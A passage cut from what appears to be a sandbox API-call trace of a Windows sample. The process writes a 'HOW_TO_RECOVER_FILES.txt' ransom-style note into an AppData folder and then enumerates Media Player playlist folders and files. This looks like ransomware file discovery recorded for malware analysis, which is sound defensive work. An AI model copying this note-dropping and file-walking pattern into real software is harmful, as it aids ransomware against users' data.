dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0247.106] GetFileType (hFile=0x86c) returned 0x1 [0247.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0247.107] GetFileType (hFile=0x86c) returned 0x1 [0247.107] WriteFile (in: hFile=0x86c, lpBuffer=0x38f8488*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x38f8488*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.108] CloseHandle (hObject=0x86c) returned 1 [0247.108] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0247.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0247.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0247.108] GetFileType (hFile=0x86c) returned 0x1 [0247.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0247.108] GetFileType (hFile=0x86c) returned 0x1 [0247.109] WriteFile (in: hFile=0x86c, lpBuffer=0x38fbd10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x38fbd10*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.109] CloseHandle (hObject=0x86c) returned 1 [0247.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0247.110] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x34 [0247.110] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0247.110] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.110] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0247.110] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1 [0247.110] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0 [0247.111] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0247.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0247.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0247.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0247.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x34 [0247.111] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0247.111] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.111] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0247.111] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c685c43, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1 [0247.111] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.112] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0247.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0247.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0247.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0247.112] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x43 [0247.112] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0247.112] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.113] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0247.113] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0247.113] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0247.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0247.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0247.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0247.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x43 [0247.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0247.113] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb473f3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb473f3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.113] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0247.114] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.114] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0247.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0247.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0247.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebe60) returned 1 [0247.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x207eb900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x49 [0247.114] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x207ebb80 | out: lpFindFileData=0x207ebb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0247.114] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.114] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000165C9", cAlternateFileName="")) returned 1 [0247.115] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000165C9", cAlternateFileName="")) returned 0 [0247.115] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0247.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebda0) returned 1 [0247.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd60) returned 1 [0247.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebe60) returned 1 [0247.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x207eb900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x49 [0247.115] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x207ebb80 | out: lpFindFileData=0x207ebb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0247.115] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabb6d796, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabb6d796, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.115] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000165C9", cAlternateFileName="")) returned 1 [0247.115] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.116] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0247.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebda0) returned 1 [0247.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd60) returned 1 [0247.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb430) returned 1 [0247.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9", nBufferLength=0x105, lpBuffer=0x207eaed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9", lpFilePart=0x0) returned 0x52 [0247.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\*", lpFindFileData=0x207eb150 | out: lpFindFileData=0x207eb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0248.631] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.633] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0248.670] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0248.670] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, 